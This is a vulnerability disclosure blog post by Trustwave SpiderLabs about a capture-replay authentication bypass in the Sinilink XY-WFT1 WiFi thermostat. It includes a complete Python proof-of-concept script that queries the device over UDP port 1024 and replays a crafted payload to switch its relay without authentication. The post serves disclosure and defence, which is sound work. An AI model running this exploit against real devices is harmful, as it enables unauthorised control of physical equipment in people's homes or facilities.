Trustwave SpiderLabs has found a vulnerability in the Sinilink XY-WFT1 Remote WiFi home Thermostat. When running firmware V1.3.6, it allows an attacker to replay the same data or similar data, possibly allowing an attacker to control the device attached to the relay without requiring authentication.
This blog describes a channel accessible by non-endpoint/authentication bypass vulnerability in the targeted device, which under the correct circumstances, could allow an attacker to fully control the target, circumventing the need to authenticate using the associated mobile application. This vulnerability capitalizes on the lack of endpoint verification, which grants an attacker the ability to send commands to the targeted device directly over User Datagram Protocol (UDP).
As of now, the device is not being exploited in the wild.
The Internet of Things (IoT) and Industrial Internet of Things (IIoT) can be thought of as technological cousins, where the former refers to smart devices used within the consumer or end-user space, and the latter is used within the industrial sector to suit a specific purpose. The rise of these types of devices is primarily driven by the need for convenience and the demand for automation.
The overlap of consumer and industrial industries illuminates the need to better understand security-related issues in these overlapping sectors. One such device that fits into this sector overlap is the Sinilink WiFi Remote Thermostat.
The Sinilink XY-WFT1 Remote WIFI Thermostat is an embedded board/relay/thermostat which, under normal operation, is used to sense the temperature and adjust the thermostat accordingly by opening or closing an on-board relay. This relay would typically be connected to a component that the attacker is looking to further control.
Figure 1: Sinilink XY-WFTX WIFI Remote Thermostat
The targeted device allows for the control of a physical relay and uses Message Queuing Telemetry Transport (MQTT) to transmit messages to an MQTT broker hosted within the cloud. Under normal operations, a mobile application will publish and subscribe using MQTT through an MQTT broker. MQTT configuration changes to MQTT client (in this case the thermostat) will be communicated and published to the MQTT broker. The MQTT client (thermostat) will then listen for these changes through MQTT subscription messages and make the relevant changes to its execution. The state of the MQTT client (thermostat) is also communicated to the mobile application through Sinilink messages over UDP/1024.
Figure 2: Attack Surface Map
The Sinilink XY-WFT1 Remote WIFI Thermostat, running firmware V1.3.6 allows for an attacker to replay the same data or similar data. This allows the attacker to control the device attached to the relay without requiring authentication.
The device relay can be directly controlled, outside of the mobile application without establishing MQTT communication with the MQTT broker. Instead, it is possible to directly communicate to the targeted device over UDP/1024. Through these direct communications, an attacker can bypass authentication used by the Mobile Application and circumvent the need for MQTT end-to-end communications by replaying crafted MQTT ‘publish’ style messages directly to the targeted device.
To successfully conduct this exploit, the device needs to be setup with an initial pre-requisite configuration as illustrated below:
Figure 3: Sensor Pre-requisite Configuration
Figure 4: WebSocket Initial Setup
Figure 5: State Information Retrieval over UDP/1024
Figure 6: State Information Retrieved
Figure 7: Resent UDP data payload
As a part of Trustwave’s Responsible Disclosure policy, we reached out to the vendor to ensure that a patch was released prior to public disclosure. However, as of the time of this disclosure, no patch has been applied. Given the nature of this attack, it is highly recommended to ensure a defensive in-depth security strategy is taken, which would include a Strong WiFi Encryption and Network Segmentation. These types of controls lessen the likelihood of such attacks.
The following videos show the attack vector employed using a working proof of concept.
#!/usr/local/bin/python3
# Author: Victor Hanna (SpiderLabs)
# Sinilink WiFi Remote Thermostat
# CWE-300: Channel Accessible by Non-Endpoint
import requests
import re
import urllib.parse
from colorama import init
from colorama import Fore, Back, Style
import sys
import os
import time
import socket
import time
from datetime import datetime
from urllib3.exceptions import InsecureRequestWarning
requests.packages.urllib3.disable_warnings(category=InsecureRequestWarning)
# Banner Function
def banner():
print ("[+]********************************************************************************[+]")
print ("| Author : Victor Hanna (9lyph)["+Fore.RED + "SpiderLabs" +Style.RESET_ALL+"]\t\t\t\t\t |")
print ("| Description: Sinilink WiFi Remote Thermostat |")
print ("| Usage : "+sys.argv[0]+" <host> |")
print ("[+]********************************************************************************[+]")
def retrieve_device_info():
SinilinkMsgFromClient = "SINILINK521"
host = str(sys.argv[1])
try:
bytesToSend = str.encode(SinilinkMsgFromClient)
serverAddressPort = (""+host, 1024)
bufferSize = 1024
print (Fore.GREEN + "[+] Retrieving Device Information ..." + Style.RESET_ALL)
UDPClientSocket = socket.socket(family=socket.AF_INET, type=socket.SOCK_DGRAM)
UDPClientSocket.sendto(bytesToSend, serverAddressPort)
time.sleep(5)
msgFromServer = UDPClientSocket.recvfrom(bufferSize)
msg = "Message from Server {}".format(msgFromServer[0])
MAC = msg[30:47]
dt = msg[56:66]
converted = datetime.fromtimestamp(int(dt)).strftime("%A, %B %d, %Y %I:%M:%S")
temp = msg[84:88]
degree = msg[90:91]
relay_value = msg[76:77]
print (Fore.CYAN + f" --> MAC Address: {MAC}" + Style.RESET_ALL)
print (Fore.CYAN + f" --> Time Stamp: {converted}" + Style.RESET_ALL)
print (Fore.CYAN + f" --> Current Temperature Reading: {temp}{degree}" + Style.RESET_ALL)
if (relay_value == "1"):
print (Fore.CYAN + f" --> Relay State: Open" + Style.RESET_ALL)
else:
print (Fore.CYAN + f" --> Relay State: Closed" + Style.RESET_ALL)
except:
print ("Unsuccessful")
def send_payload():
try:
epoch_time = str(int(time.time()))
msgFromClient = 'PROWT4C:EB:D6:01:A8:7C{"MAC":"4C:EB:D6:01:A8:7C","time":'+epoch_time+',"param":[1,"M",0,20.8,"C","H",66,5,0,0,0,20.5,0,-40,0,0,5,1,0,0,0,0]}'
bytesToSend = str.encode(msgFromClient)
serverAddressPort = (""+host, 1024)
bufferSize = 1024
print (Fore.GREEN + "[+] Sending Payload ..." + Style.RESET_ALL)
time.sleep(5)
UDPClientSocket = socket.socket(family=socket.AF_INET, type=socket.SOCK_DGRAM)
UDPClientSocket.sendto(bytesToSend, serverAddressPort)
time.sleep(15)
# UDPClientSocket.close()
except:
print ("Unsuccesful")
# Main Function
def main():
os.system('clear')
banner()
retrieve_device_info()
send_payload()
retrieve_device_info()
if __name__ == "__main__":
if len(sys.argv)>1:
host = sys.argv[1]
main()
else:
print (Fore.RED + f"[+] Not enough arguments, please specify target and relay!" + Style.RESET_ALL)
Since there is currently no patch available for this vulnerability, we will be reserving the PoC code until Thursday 19.Jan.2023. That code will be updated in this blog post at that time.
It is predicted that the number of connected IoT devices will reach 14.4 billion by the end of 2022. As the number of IoT devices grows year over year, it is important that manufacturers of such devices implement higher standards of security control to help ensure their systems are protected against such attacks.
As illuminated in this blog, there are many moving parts that encompass a single IoT-based solution, with many of these parts being offloaded to protocols that are not necessarily secure by design. The bypass of innately insecure protocols, through replay attacks, is a viable and common attack vector used in the wild to control targeted systems. With the proliferation of such devices and the increasing uptake in consumption, it is of utmost importance that developers of IoT systems look to better implement secure protocols where feasibly possible.
TWSL2023-001: Capture-Replay Vulnerability in Sinilink Wifi Remote Thermostat